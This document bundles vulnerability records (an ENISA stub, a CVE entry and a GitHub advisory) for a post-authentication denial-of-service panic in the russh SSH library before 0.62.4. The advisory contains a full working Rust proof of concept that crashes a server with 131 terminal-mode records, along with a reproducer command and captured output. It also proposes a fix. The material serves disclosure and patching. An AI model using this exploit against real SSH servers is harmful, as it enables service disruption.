{
  "assigner": "ENISA",
  "date_reserved": "2026-10-02T08:26:12.900672+00:00",
  "id": "EUVD-2026-354578"
}

{
  "affected": [
    {
      "affectedData": [
        {
          "product": "russh",
          "vendor": "Eugeny",
          "versions": [
            {
              "status": "affected",
              "version": "\u003c 0.62.4"
            }
          ]
        }
      ],
      "source": "security-advisories@github.com"
    }
  ],
  "cveTags": [],
  "descriptions": [
    {
      "lang": "en",
      "value": "Russh is a Rust SSH client \u0026 server library. Prior to 0.62.4, an authenticated SSH client can cause a denial of service by sending a pty-req channel request with more than 130 terminal-mode records. The parser in russh/src/server/encrypted.rs stores terminal modes in a fixed 130-entry [(Pty::TTY_OP_END, 0); 130] array but continues increasing the mode count, then constructs an out-of-bounds slice and panics before the application pty_request handler runs. The panic terminates the server session task without causing memory corruption. This issue is fixed in version 0.62.4."
    }
  ],
  "id": "CVE-2026-73489",
  "lastModified": "2026-09-18T20:09:01.757",
  "metrics": {
    "cvssMetricV31": [
      {
        "cvssData": {
          "attackComplexity": "LOW",
          "attackVector": "NETWORK",
          "availabilityImpact": "LOW",
          "baseScore": 4.3,
          "baseSeverity": "MEDIUM",
          "confidentialityImpact": "NONE",
          "integrityImpact": "NONE",
          "privilegesRequired": "LOW",
          "scope": "UNCHANGED",
          "userInteraction": "NONE",
          "vectorString": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:N/I:N/A:L",
          "version": "3.1"
        },
        "exploitabilityScore": 2.8,
        "impactScore": 1.4,
        "source": "security-advisories@github.com",
        "type": "Secondary"
      }
    ],
    "ssvcV203": [
      {
        "source": "134c704f-9b21-4f2e-91b3-4a467353bcc0",
        "ssvcData": {
          "id": "CVE-2026-73489",
          "options": [
            {
              "exploitation": "poc"
            },
            {
              "automatable": "no"
            },
            {
              "technicalImpact": "partial"
            }
          ],
          "role": "CISA Coordinator",
          "timestamp": "2026-08-17T19:50:25.618015Z",
          "version": "2.0.3"
        }
      }
    ]
  },
  "published": "2026-08-13T22:17:26.893",
  "references": [
    {
      "source": "security-advisories@github.com",
      "url": "https://github.com/Eugeny/russh/commit/8912512371820167a12a0a638bd666856ce458ad"
    },
    {
      "source": "security-advisories@github.com",
      "url": "https://github.com/Eugeny/russh/releases/tag/v0.62.4"
    },
    {
      "source": "security-advisories@github.com",
      "url": "https://github.com/Eugeny/russh/security/advisories/GHSA-cqjc-rmpq-xprq"
    },
    {
      "source": "134c704f-9b21-4f2e-91b3-4a467353bcc0",
      "url": "https://github.com/Eugeny/russh/security/advisories/GHSA-cqjc-rmpq-xprq"
    }
  ],
  "sourceIdentifier": "security-advisories@github.com",
  "vulnStatus": "Deferred",
  "weaknesses": [
    {
      "description": [
        {
          "lang": "en",
          "value": "CWE-129"
        }
      ],
      "source": "security-advisories@github.com",
      "type": "Secondary"
    }
  ]
}

{
  "affected": [
    {
      "database_specific": {
        "last_known_affected_version_range": "\u003c= 0.62.3"
      },
      "package": {
        "ecosystem": "crates.io",
        "name": "russh"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "0"
            },
            {
              "fixed": "0.62.4"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    }
  ],
  "aliases": [
    "CVE-2026-73489"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-129"
    ],
    "github_reviewed": true,
    "github_reviewed_at": "2026-07-24T16:46:13Z",
    "nvd_published_at": null,
    "severity": "MODERATE"
  },
  "details": "## Summary\n\nA post-authentication denial-of-service panic in `russh` 0.62.2 (commit\n`c4be19f1915c8682f4615c3fd50008512b474491`, current default branch `main` as\nof 2026-07-22). An authenticated client sends a `pty-req` channel request\ncarrying more than 130 terminal-mode records. The parser uses a fixed\n`[(Pty::TTY_OP_END, 0); 130]` array but increments its counter `i` for every\nvalid record (logging \"too many pty codes\" without returning), then slices\n`\u0026modes[0..i]` \u2014 an out-of-bounds slice that **panics** (`range end index 131\nout of range for slice of length 130`) before the application `pty_request`\nhandler runs.\n\nThis is reachable with the **default** server configuration and the **default**\ncrypto config (curve25519-sha256 + chacha20-poly1305), requiring only an\nauthenticated session channel \u2014 no caller-supplied parameter. It is reproduced\nend-to-end against the unmodified real russh 0.62.2 library (a real\n`russh::client` + `russh::server` over TCP, using the public\n`Channel::request_pty(...)` API); the PoC below links the real crate, not a\ncopied snippet. The defect is still present on `main` HEAD (`v0.62.3`,\n2026-07-22) and is not covered by any of the 11 published russh GHSA\nadvisories (GHSA-4r3c-5hpg-58qr / CVE-2026-48110 is allocation-first string\nparsing, not the fixed-array slice overflow; it was fixed in 0.61.0 but this\ncode path still overflows the fixed array).\n\nRust bounds-checked panics abort the task safely (no memory corruption / RCE);\nthe impact is remote **denial of service**.\n\n## Details\n\n`russh/src/server/encrypted.rs`, `pty-req` handling (lines 1137\u20131201):\n\n```rust\nlet mut modes = [(Pty::TTY_OP_END, 0); 130];     // fixed 130-entry array (line 1137)\nlet mut i = 0;\n...\nwhile !mode_bytes.is_empty() {\n    let code = mode_bytes[0];\n    if code == 0 { if mode_bytes.len() != 1 { return Err(...); } break; }\n    if mode_bytes.len() \u003c 5 { return Err(...); }\n    let num = BigEndian::read_u32(\u0026mode_bytes[1..5]);\n    if let Some(code) = Pty::from_u8(code) {\n        if i \u003c 130 {\n            modes[i] = (code, num);\n        } else {\n            error!(\"pty-req: too many pty codes\");   // logs, does NOT return (line 1162)\n        }\n    }\n    i += 1;                                          // keeps growing past 130\n    mode_bytes = \u0026mode_bytes[5..];\n}\n...\nhandler.pty_request(channel_num, \u0026term, ..., \u0026modes[0..i], self).await  // line 1201 \u2014 OOB when i \u003e 130\n```\n\nEach terminal-mode record is exactly 5 bytes (1-byte opcode + 4-byte value),\nand `i += 1` runs for **every** valid record (including repeats of the same\nopcode). The `if i \u003c 130` write-gate prevents an in-array overflow but the\ncounter still grows unbounded, and the later `\u0026modes[0..i]` slice has no\ncorresponding bound. SSH packet-size limits do not bound the mode count to\n130, so a single normal-sized `pty-req` can carry hundreds of mode records.\nThe client\u0027s own `request_pty` serialization (`russh/src/client/session.rs`:\n\n```rust\n((1 + 5 * terminal_modes.len()) as u32).encode(\u0026mut enc.write)?;   // line 129\nfor \u0026(code, value) in terminal_modes {\n    if code == Pty::TTY_OP_END { continue; }\n    (code as u8).encode(\u0026mut enc.write)?;\n    value.encode(\u0026mut enc.write)?;                                   // line 135\n}\n```\n\nwrites every record with no count cap, so 131 records reach the server as a\nlegitimate authenticated channel request.\n\n## PoC\n\nThe PoC is a standalone `examples/` binary that links the **unmodified** real\nrussh 0.62.2 crate and reproduces over a real TCP connection with the default\ncrypto config. It runs an ATTACK case (131 mode records \u2192 panic) and a CONTROL\ncase (130 mode records \u2192 parses fine), proving the panic is caused\nspecifically by exceeding the 130-entry array.\n\n### One-line reproducer\n\n```bash\n# Drop the .rs below into russh/examples/ of a checkout of\n# Eugeny/russh @ c4be19f1915c (tag v0.62.2), then:\ncargo +stable build --release --example e2e_c15_pty_modes_panic\nRUST_BACKTRACE=1 ./target/release/examples/e2e_c15_pty_modes_panic\n```\n\n### `russh/examples/e2e_c15_pty_modes_panic.rs`\n\n```rust\n// End-to-end PoC: an authenticated pty-req with more than 130 terminal-mode\n// records panics the russh server in its pty-req parser.\n//\n// A real `russh::client` + `russh::server` with the DEFAULT crypto config\n// (curve25519-sha256 + chacha20-poly1305). The client authenticates (auth_none),\n// opens a session channel, and calls the public Channel::request_pty(...) API\n// with 131 (ATTACK) and 130 (CONTROL) terminal-mode records. The server\n// panics in its pty-req parser (\u0026modes[0..i] OOB) on 131, parses fine on 130.\n\nuse std::sync::atomic::{AtomicBool, Ordering};\nuse std::sync::{Arc, Mutex};\n\nuse russh::keys::Algorithm;\nuse russh::server::{self, Auth, ChannelOpenHandle, Handler, Msg, Session};\nuse russh::{Channel, ChannelId, Pty};\nuse tokio::net::TcpListener;\n\n#[tokio::main]\nasync fn main() {\n    println!(\"=== russh pty-req mode overflow panic (real russh 0.62.2, default crypto) ===\\n\");\n\n    let (atk_panic, atk_handler) = run_case(131, \"ATTACK \").await; // expect panic\n    println!();\n    let (ctl_panic, ctl_handler) = run_case(130, \"CONTROL\").await; // expect ok\n\n    println!(\"\\n=== summary ===\");\n    println!(\"case    | server panicked | pty_request handler ran\");\n    println!(\"ATTACK  | {atk_panic:\u003c15} | {atk_handler}   (131 mode records)\");\n    println!(\"CONTROL | {ctl_panic:\u003c15} | {ctl_handler}   (130 mode records)\");\n\n    if atk_panic \u0026\u0026 !atk_handler \u0026\u0026 !ctl_panic \u0026\u0026 ctl_handler {\n        println!(\"\\n=\u003e CONFIRMED (end-to-end, real russh 0.62.2):\");\n        println!(\"   A single authenticated SSH_MSG_CHANNEL_REQUEST `pty-req`\");\n        println!(\"   carrying 131 valid terminal-mode records makes the real\");\n        println!(\"   russh server panic in its pty-req parser\");\n        println!(\"   (range end index 131 out of range for slice of length 130)\");\n        println!(\"   before the application pty_request handler runs.\");\n    } else {\n        eprintln!(\"NOT reproduced\");\n        std::process::exit(1);\n    }\n}\n\nasync fn run_case(num_modes: usize, label: \u0026\u0027static str) -\u003e (bool, bool) {\n    let panicked = Arc::new(AtomicBool::new(false));\n    {\n        let flag = panicked.clone();\n        let prev = std::panic::take_hook();\n        std::panic::set_hook(Box::new(move |info| {\n            flag.store(true, Ordering::SeqCst);\n            eprintln!(\"[{label} server task panicked] {info}\");\n            prev(info);\n        }));\n    }\n\n    let events: Arc\u003cMutex\u003cVec\u003c\u0026\u0027static str\u003e\u003e\u003e = Arc::new(Mutex::new(Vec::new()));\n\n    // real russh server, DEFAULT crypto config (curve25519 + chacha20)\n    let mut config = server::Config::default();\n    config.inactivity_timeout = None;\n    config.auth_rejection_time = std::time::Duration::from_millis(1);\n    config.auth_rejection_time_initial = Some(std::time::Duration::from_millis(1));\n    config.keys.push(russh::keys::PrivateKey::random(\u0026mut rand::rng(), Algorithm::Ed25519).unwrap());\n    let config = Arc::new(config);\n\n    let listener = TcpListener::bind(\"127.0.0.1:0\").await.unwrap();\n    let addr = listener.local_addr().unwrap();\n\n    let server_events = events.clone();\n    let server_task = tokio::spawn(async move {\n        let (socket, _peer) = listener.accept().await.unwrap();\n        let handler = PtyServer { events: server_events };\n        let session = server::run_stream(config, socket, handler).await.unwrap();\n        session.await\n    });\n\n    // real russh client (default config: real ECDH + encryption + auth)\n    let client_config = Arc::new(russh::client::Config::default());\n    let mut session = russh::client::connect(client_config, addr, AcceptAllClient {}).await.unwrap();\n    let auth = session.authenticate_none(\"attacker\").await.unwrap();\n    assert!(auth.success(), \"[{label}] auth_none did not succeed\");\n\n    let channel = session.channel_open_session().await.unwrap();\n    println!(\"[{label}] authenticated + opened session channel\");\n\n    // terminal_modes: num_modes records of (VINTR, 42). The client serializes\n    // all of them with no count cap (client/session.rs:129-137).\n    let modes: Vec\u003c(Pty, u32)\u003e = vec![(Pty::VINTR, 42u32); num_modes];\n    let want_reply = true;\n\n    let pty_result = tokio::time::timeout(\n        std::time::Duration::from_secs(3),\n        channel.request_pty(want_reply, \"xterm\", 80, 24, 0, 0, \u0026modes),\n    ).await;\n    println!(\"[{label}] client request_pty({num_modes} modes) -\u003e {pty_result:?}\");\n\n    let _ = tokio::time::timeout(std::time::Duration::from_secs(1), server_task).await;\n    let server_panicked = panicked.load(Ordering::SeqCst);\n    let handler_ran = events.lock().unwrap().contains(\u0026\"pty_request\");\n    println!(\"[{label}] server task panicked = {server_panicked}, pty_request handler ran = {handler_ran}\");\n    let _ = std::panic::take_hook();\n    (server_panicked, handler_ran)\n}\n\n#[derive(Clone)]\nstruct PtyServer { events: Arc\u003cMutex\u003cVec\u003c\u0026\u0027static str\u003e\u003e\u003e }\nimpl PtyServer {\n    fn record(\u0026self, e: \u0026\u0027static str) { self.events.lock().unwrap().push(e); }\n}\nimpl Handler for PtyServer {\n    type Error = russh::Error;\n    async fn auth_none(\u0026mut self, _user: \u0026str) -\u003e Result\u003cAuth, Self::Error\u003e { Ok(Auth::Accept) }\n    async fn channel_open_session(\n        \u0026mut self, _channel: Channel\u003cMsg\u003e, reply: ChannelOpenHandle, _session: \u0026mut Session,\n    ) -\u003e Result\u003c(), Self::Error\u003e { reply.accept().await; Ok(()) }\n    async fn pty_request(\n        \u0026mut self, _channel: ChannelId, _term: \u0026str, _col_width: u32, _row_height: u32,\n        _pix_width: u32, _pix_height: u32, _modes: \u0026[(Pty, u32)], _session: \u0026mut Session,\n    ) -\u003e Result\u003c(), Self::Error\u003e { self.record(\"pty_request\"); Ok(()) }\n}\n\n#[derive(Clone)]\nstruct AcceptAllClient {}\nimpl russh::client::Handler for AcceptAllClient {\n    type Error = russh::Error;\n    async fn check_server_key(\n        \u0026mut self, _server_public_key: \u0026russh::keys::PublicKey,\n    ) -\u003e Result\u003cbool, Self::Error\u003e { Ok(true) }\n}\n```\n\nReal captured output (ATTACK, `RUST_BACKTRACE=1`):\n\n```\n[ATTACK ] client request_pty(131 modes) -\u003e Ok(Ok(()))\n[ATTACK  server task panicked] panicked at russh/src/server/encrypted.rs:1201:39:\nrange end index 131 out of range for slice of length 130\nthread \u0027tokio-rt-worker\u0027 panicked at russh/src/server/encrypted.rs:1201:39\nstack backtrace:\n   3: \u003cSession\u003e::server_read_authenticated::\u003cPtyServer\u003e\n   4: \u003cSession\u003e::process_packet::\u003cPtyServer\u003e\n   5: russh::server::reply::\u003cPtyServer\u003e\n[ATTACK ] server task panicked = true, pty_request handler ran = false\n[CONTROL] server task panicked = false, pty_request handler ran = true\n=\u003e CONFIRMED (end-to-end, real russh 0.62.2)\n```\n\nThe panic occurs in russh\u0027s own post-auth parser before any application\nhandler is invoked.\n\n## Impact\n\n**Remote, post-authentication denial of service of any russh SSH server using\nthe default configuration.** Any authenticated client with a session channel can\ncrash the russh server task with a single `SSH_MSG_CHANNEL_REQUEST` `pty-req`\ncarrying 131+ terminal-mode records (each record is 5 bytes, so 131 records\nfit in one normal-sized packet). This is trivially reachable for any legitimate\nor compromised SSH user. DoS only \u2014 Rust bounds-checked panics abort the task\nsafely; there is no memory corruption or RCE.\n\n### Suggested fix\n\nCap `i` at 130 and reject the request instead of logging and continuing:\n\n```rust\nif i \u003e= 130 {\n    return Err(Error::Inconsistent.into());   // reject instead of logging+continuing\n}\nmodes[i] = (code, num);\n```\n\n### Affected versions\n\n- `russh` **\u003c= 0.62.3** (commit `c4be19f1915c` / current `main` HEAD\n  `v0.62.3`, 2026-07-22). The bug is still present on `main`; it is not covered\n  by any of the 11 published russh GHSA advisories. Default `server::Config`\n  and `client::Config` are affected (no feature flag or opt-in).\n\n## Credit\n\nReported by the diff/ambidiff security research effort (afldl). Happy to\ncoordinate a disclosure timeline; will request a CVE once confirmed.",
  "id": "GHSA-cqjc-rmpq-xprq",
  "modified": "2026-08-12T20:56:50Z",
  "published": "2026-07-24T16:46:13Z",
  "references": [
    {
      "type": "WEB",
      "url": "https://github.com/Eugeny/russh/security/advisories/GHSA-cqjc-rmpq-xprq"
    },
    {
      "type": "WEB",
      "url": "https://github.com/Eugeny/russh/commit/8912512371820167a12a0a638bd666856ce458ad"
    },
    {
      "type": "PACKAGE",
      "url": "https://github.com/Eugeny/russh"
    },
    {
      "type": "WEB",
      "url": "https://github.com/Eugeny/russh/releases/tag/v0.62.4"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:N/I:N/A:L",
      "type": "CVSS_V3"
    }
  ],
  "summary": "Russh: Post-auth remote panic via pty-req with more than 130 terminal-mode records"
}